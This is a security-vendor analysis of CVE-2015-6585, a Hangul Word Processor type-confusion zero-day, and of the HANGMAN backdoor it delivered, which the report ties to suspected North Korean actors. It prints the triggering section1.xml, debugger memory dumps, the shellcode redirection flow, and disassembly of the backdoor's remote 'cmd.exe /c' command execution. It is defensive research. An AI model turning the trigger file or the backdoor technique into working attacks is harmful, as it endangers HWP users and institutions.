Hangul Word Processor (HWP) Zero-Day

-possible ties to North Korean threat actors-

Authors: Genwei Jiang, Josiah Kimble

FireEye recently identified several malicious documents in the wild that exploit a previously unknown vulnerability (CVE-2015-6585) in the Hangul Word Processor (HWP). HWP, published by a South Korean company, is a Korean word processing application. It is widely used in South Korea, primarily by government and public institutions. Some HWP programs are frequently used by private organizations, such as HWP Viewer. The payloads and infrastructure in the attack are linked to suspected North Korean threat actors. Hancom patched CVE-2015-6585 with a security update on September 7, 2015.

Exploit Details

HWP 2014 introduced support for the KS (Korean Industrial Standards) standardized HWP file format (HWPX). Although HWPX-formatted documents use the `.hwpx` extension by default, they may also use the file extension `.hwp` of older HWP files. The new format, OWPML (Open Word-Processor Markup Language), uses XML files within a zip archive. The structural differences between HWP and HWPX documents are similar to those between Microsoft Word `.doc` and `.docx` files.

Para text is a data record type that stores the content of each paragraph in body text. When parsing a para text tag within an `.hwpx` file, a logic error in `hwpapp.dll` results in a type confusion scenario. When paired with an appropriate heap spray, this vulnerability can affect code execution.

An HWPX file is structured like an archive or zip file that contains a set of directories and XML files. The XML in the Contents directory defines what data the HWPX file contains, as well as how to render the data. `Contents/section1.xml` (shown in Appendix 1) contains the XML that triggers the vulnerability.

The para text is written as follows:

```
hp:p
 hp:run
  hp:ctrl
  hp:secPr
  hp:t
 hp:linesegarray
  hp:lineseg
  hp:lineseg
```

Figure 1: Para text structure

The parser creates an object for lineseg items, and parse and store the attributes within it (Figure 2).

```
<hp:lineseg textpos="5" vertpos="1600" vertsize="1000" textheight="1000" baseline="850"
spacing="600" horzpos="0" horzsize="42520" flags="393216"/>
```

```
0:011> d /c 1 0550cc30  l10
0550cc30  644253d8
0550cc34  3000008f
0550cc38  00000000
0550cc3c  00000000
0550cc40  01e9c4e8
0550cc44  00000000
0550cc48  00000000
0550cc4c  00000005  // textpos
0550cc50  00000640  // vertpos
0550cc54  000003e8  // vertsize
0550cc58  000003e8  // textheight
0550cc5c  00000352  // baseline
0550cc60  00000258  // spacing
0550cc64  00000000  // horzpos
0550cc68  0000a618  // horzsize
0550cc6c  00060000  // flags
```

Figure 2: Lineseg object

The `hp:t` element contains numbers, Unicode characters, tabs, and line breaks. The Unicode is used to redirect execution after type confusion occurs:

```
ကြ : code point in charset: 0x1000, MYANMAR LETTER KA (U+1000)
   buffer code: #xE1 #x80 #x80 (UTF-8)

ሜ : code point in charset: 0x121C, ETHIOPIC SYLLABLE MEE (U+121C)
   buffer code: #xE1 #x88 #x9C (UTF-8)
```

Figure 3: Unicode bytes used to redirect execution

This constructs a para text in memory, as seen in Figures 4 and 5:

```
hp:ctrl
       0002 6c64 636f cac8 0550 0000 0000 0002  // cold
hp:secPr
       0002 6364 7365 79d8 01e1 0000 0000 0002  // secd
hp:t   0031
       0031
       1000 121c
       0031
hp:tab 0009 0002 0000 0100 0020 0020 0020 0009
hp:lineBreak
       000a
       0032
       000d
```

Figure 4: Para text containing the Unicode bytes

```
01e20738  0002 6c64 636f cac8 0550 0000 0000 0002
01e20748  0002 6364 7365 79d8 01e1 0000 0000 0002
01e20758  0031 0031 1000 121c 0031 0009 0002 0000
01e20768  0100 0020 0020 0020 0009 000a 0032 000d
```

Figure 5: Para text loaded in memory

Since the content definition contains a `lineseg` array(see Appendix 1), the parser will copy the `lineseg` objects and append them to the end of the para text (see Appendix 2), which is at `ptrParaText+10*4`, and further parse the para text based on attributes of the `lineseg`.

Because the second `lineseg`'s textpos attribute is 5, the parser will parse the para text starting from offset 5, which causes the parser to jump into the middle of the SECTION_COLUMN_DEF(0002) control character. This results in treating `121c1000` as an object pointer. With a heap spray, the exploit supplies a fake class at that address. When HWP uses the

fake class, it calls an address supplied by the exploit that points to shellcode shown in the figure below:

```
0:000> dc 121c1000 +120 ; fake object at 0x121c1000
121c1120  121c1600 0c0c0c0c 0c0c0c0c 0c0c0c0c  ................ ; function pointer
0:000> r
eax=121c1000 ebx=00000000 ecx=121c1000 edx=121c1600 esi=121c1000 edi=01828c18
eip=121c1600 esp=001ae040 ebp=00000000 iopl=0   nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000   efl=00010206
121c1600 90  nop  ; nopsled to shellcode
```

Figure 6: Shellcode execution

The shellcode will search a tag ("SVCHSVCH") within the heapspray data to find the malicious payload, decode it with simple XOR, drop to `%temp%\svchost.exe` and execute.

Attack Attribution

While not conclusive, the targeting of a South Korean proprietary word processing software strongly suggests a specific interest in South Korean targets, and based on code similarities and infrastructure overlap, FireEye Intelligence assesses that this activity may be associated with North Korea-based threat actors.

The malicious HWPX documents all install similar copies of a backdoor that we call HANGMAN. HANGMAN is capable of uploading and downloading files, process and file system management, gathering system information, and updating its configuration. The backdoor also wraps its communication protocol with SSL. HANGMAN begins communications by sending a legitimate SSL handshake to its command and control (C2) server. It then continues to communicate using SSL header messages, but the payload of the message is a custom binary protocol.

All of the HANGMAN samples shared the same PE import hash, compile time (2015/08/18 15:08:28), and hard-coded IP addresses used for C2. One of the C2 IP addresses was also used by a variant of the MACKTRUCK backdoor that was compiled four months earlier (2015/04/08 00:53:29). MACKTRUCK has been used previously in targeted attacks by suspected North Korean threat actors.

The HANGMAN variants dropped by the HWPX documents use functions that are very similar to those seen in other malware families used by suspected North Korea-based actors, such as the backdoor we call PEACHPIT.

Both PEACHPIT and HANGMAN incorporate a function where Windows commands are passed to the backdoor from the remote C2 server. After checking whether the passed command includes a redirect character (>) the command is executed on the infected host machine in one of the following forms:

- `cmd.exe /u /c [PASSED_COMMAND] >[RESULT_PATH] 2>&1`
- `cmd.exe /u /c [PASSED_COMMAND] 2>[RESULT_PATH]`

Next, the command execution result is stored in `%tmp%/[prefix][hexdecimal].tmp` on the infected host machine.

HANGMAN sample	PEACHPIT sample
00403247 **call _GetTempPathW** 0040324D lea eax, [ebp+var_46C] 00403253 push eax ; _DWORD 00403254 push esi ; _DWORD 00403255 lea eax, [ebp+var_C6C] 0040325B push offset aPms ; "PMS" 00403260 push eax ; _DWORD 00403261 **call _GetTempFileNameW** 00403267 lea eax, [ebp+Str] 0040326D **push '>' ; Ch** 0040326F push eax ; Str 00403270 **call ds:wcschr** 00403276 pop ecx 00403277 test eax, eax 00403279 pop ecx 0040327A lea eax, [ebp+var_46C] 00403280 push eax 00403281 lea eax, [ebp+Str] 00403287 push eax 00403288 **push offset aXeU ; "xe /u /"** 0040328D **push offset Format ; "cm"** 00403292 jnz short loc_40329B 00403294 **push "%sd.e%sc %s >%s 2>&1"** 00403299 jmp short loc_4032A0 0040329B ; ----------	10003D14 **call _GetTempPathA** 10003D1A lea eax, [ebp+var_16C] 10003D20 push eax ; _DWORD 10003D21 push ebx ; _DWORD 10003D22 lea eax, [ebp+var_270] 10003D28 push offset bytes_10009334 10003D2D push eax ; _DWORD 10003D2E **call _GetTempFileNameA** 10003D34 **push '>' ; Val** 10003D36 push [ebp+Str] ; Str 10003D39 **call ds:strchr** 10003D3F pop ecx 10003D40 test eax, eax 10003D42 pop ecx10003D43 lea eax, [ebp+var_16C] 10003D49 push eax 10003D4A push [ebp+Str] 10003D4D **push offset aXe ; "xe /"** 10003D52 **push offset aCm ; "cm"** 10003D57 jnz short loc_10003D60 10003D59 **push "%sd.e%sc %s >%s 2>&1"** 10003D5E jmp short loc_10003D65 10003D60 ; ----------
0040329B 0040329B loc_40329B: 0040329B **push "%sd.e%sc %s 2>%s"** 004032A0 004032A0 loc_4032A0: 004032A0 lea eax, [ebp+String] 004032A6 push eax ; String 004032A7 **call ds:swprintf** 004032AD add esp, 18h 004032B0 lea eax, [ebp+var_24] 004032B3 push eax ; _DWORD 004032B4 lea eax, [ebp+var_6C] 004032B7 push eax ; _DWORD 004032B8 push esi ; _DWORD 004032B9 push esi ; _DWORD 004032BA push esi ; _DWORD 004032BB push esi ; _DWORD 004032BC push esi ; _DWORD 004032BD lea eax, [ebp+String] 004032C3 push esi ; _DWORD 004032C4 push eax ; _DWORD 004032C5 push esi ; _DWORD 004032C6 **call _CreateProcessW** 004032CC test eax, eax 004032CE jz loc_4033DE	10003D60 10003D60 loc_10003D60: 10003D60 **push "%sd.e%sc %s 2>%s"** 10003D65 10003D65 loc_10003D65: 10003D65 lea eax, [ebp+Dest] 10003D6B push eax ; Dest 10003D6C **call ds:sprintf** 10003D72 add esp, 18h 10003D75 lea eax, [ebp+var_20] 10003D78 push eax 10003D79 lea eax, [ebp+var_68] 10003D7C push eax 10003D7D push ebx 10003D7E push ebx 10003D7F push ebx ; _DWORD 10003D80 push ebx ; _DWORD 10003D81 push ebx ; _DWORD 10003D82 lea eax, [ebp+Dest] 10003D88 push ebx ; _DWORD 10003D89 push eax ; _DWORD 10003D8A push ebx ; _DWORD 10003D8B **call _CreateProcessA** 10003D91 test eax, eax 10003D93 jnz short loc_10003DC1

Figure 7. Code comparison between HANGMAN and PEACHPIT samples

The function above appears to be relatively unique in that it has not been widely observed in other malware families to date. This implies that PEACHPIT and HANGMAN were written by the same developers or, at minimum, share some of the same source code. Given that we have observed only limited use of backdoors such as PEACHPIT, it is reasonable to theorize that in addition to a common development history, the backdoors may be used by the same or closely related threat actors.

Appendix

1 – Contents/section1.xml

```
<hp:p id="0" paraPrIDRef="3" styleIDRef="0" pageBreak="0" columnBreak="0">
  <hp:run charPrIDRef="5">
  <hp:ctrl>
  <hp:colPr type="NEWSPAPER" layout="LEFT" colCount="1" sameSz="1" sameGap="0"/>
  </hp:ctrl>
  <hp:secPr textDirection="HORIZONTAL" spaceColumns="1134" tabStop="8000"
outlineShapeIDRef="2" memoShapeIDRef="0" textVerticalWidthHead="0" masterPageCnt="0">
  <hp:grid lineGrid="0" charGrid="0" wonggojiFormat="0"/>
  <hp:startNum pageStartsOn="BOTH" page="0" pic="0" tbl="0" equation="0"/>
  <hp:visibility hideFirstHeader="0" hideFirstFooter="0" hideFirstMasterPage="0"
border="SHOW_ALL" fill="SHOW_ALL" hideFirstPageNum="0" hideFirstEmptyLine="0"
showLineNumber="0"/>
  <hp:pagePr landscape="WIDELY" width="59528" height="84188" gutterType="LEFT_ONLY">
  <hp:margin header="4252" footer="4252" gutter="0" left="8504" right="8504" top="5668"
bottom="4252"/>
  </hp:pagePr>
  <hp:footNotePr>
  <hp:autoNumFormat type="DIGIT" suffixChar=")" supscript="0"/>
  <hp:noteLine length="-1" type="SOLID" width="0.12 mm" color="#000000"/>
  <hp:noteSpacing betweenNotes="283" belowLine="567" aboveLine="850"/>
  <hp:numbering type="CONTINUOUS" newNum="1"/>
  <hp:placement place="EACH_COLUMN" beneathText="0"/>
  </hp:footNotePr>
  <hp:endNotePr>
  <hp:autoNumFormat type="DIGIT" suffixChar=")" supscript="0"/>
  <hp:noteLine length="14692344" type="SOLID" width="0.12 mm" color="#000000"/>
  <hp:noteSpacing betweenNotes="0" belowLine="567" aboveLine="850"/>
  <hp:numbering type="CONTINUOUS" newNum="1"/>
  <hp:placement place="END_OF_DOCUMENT" beneathText="0"/>
  </hp:endNotePr>
  <hp:pageBorderFill type="BOTH" borderFillIDRef="1" textBorder="PAPER" headerInside="0"
footerInside="0" fillArea="PAPER">
  <hp:offset left="1417" right="1417" top="1417" bottom="1417"/>
  </hp:pageBorderFill>
  <hp:pageBorderFill type="EVEN" borderFillIDRef="1" textBorder="PAPER" headerInside="0"
footerInside="0" fillArea="PAPER">
  <hp:offset left="1417" right="1417" top="1417" bottom="1417"/>
  </hp:pageBorderFill>
  <hp:pageBorderFill type="ODD" borderFillIDRef="1" textBorder="PAPER" headerInside="0"
footerInside="0" fillArea="PAPER">
  <hp:offset left="1417" right="1417" top="1417" bottom="1417"/>
  </hp:pageBorderFill>
  </hp:secPr>
  <hp:t>
  11∽σ21<hp:tab width="2" leader="0" type="1"/><hp:lineBreak/>2
  </hp:t>
  </hp:run>
  <hp:linesegarray>
  <hp:lineseg textpos="0" vertpos="0" vertsize="1000" textheight="1000" baseline="850"
spacing="600" horzpos="0" horzsize="42520" flags="393216"/>
  <hp:lineseg textpos="5" vertpos="1600" vertsize="1000" textheight="1000" baseline="850"
spacing="600" horzpos="0" horzsize="42520" flags="393216"/>
  </hp:linesegarray>
  </hp:p>
```

2 – lineseg appended to para

```
0:000> d 01e20738
01e20738  6c640002 cac8636f 00000550 00020000
01e20748  63640002 79d87365 000001e1 00020000
01e20758  00310031 121c1000 00090031 00000002
01e20768  00200100 00200020 000a0009 000d0032
01e20778  00000000 00000000 000003e8 000003e8
01e20788  00000352 00000258 00000000 0000a618
01e20798  00060000 00000000 00000005 00000020
01e207a8  054b8d00 00000001 00000000 00000000
0:000> d
01e207b8  00000000 00000000 00000000 00000001
01e207c8  00000000 00000000 00000000 00000000
01e207d8  00000000 00000005 00000640 000003e8
01e207e8  000003e8 00000352 00000258 00000000
01e207f8  0000a618 00060000 00000005 00000020
01e20808  00000020 054b8d00 00000001 00000000
01e20818  00000000 00000000 00000000 00000000
01e20828  00000001 00000000 00000000 07000007
0:000> d 01e20738+10*4
01e20778  00000000 00000000 000003e8 000003e8   // <hp:lineseg textpos="0" vertpos="0"
vertsize="1000" textheight="1000" baseline="850" spacing="600" horzpos="0"
horzsize="42520" flags="393216"/>
01e20788  00000352 00000258 00000000 0000a618
01e20798  00060000 00000000 00000005 00000020
01e207a8  054b8d00 00000001 00000000 00000000
01e207b8  00000000 00000000 00000000 00000001
01e207c8  00000000 00000000 00000000 00000000
01e207d8  00000000 00000005 00000640 000003e8
01e207e8  000003e8 00000352 00000258 00000000
0:000> d 01e20738+10*4+64
01e207dc  00000005 00000640 000003e8 000003e8   // <hp:lineseg textpos="5" vertpos="1600"
vertsize="1000" textheight="1000" baseline="850" spacing="600" horzpos="0"
horzsize="42520" flags="393216"/>
01e207ec  00000352 00000258 00000000 0000a618
01e207fc  00060000 00000005 00000020 00000020
01e2080c  054b8d00 00000001 00000000 00000000
01e2081c  00000000 00000000 00000000 00000001
01e2082c  00000000 00000000 07000007 00016607
01e2083c  01ec6ec8 00000000 00000006 00000000
01e2084c  ffffffff 60b6b852 08166658 005541d8
```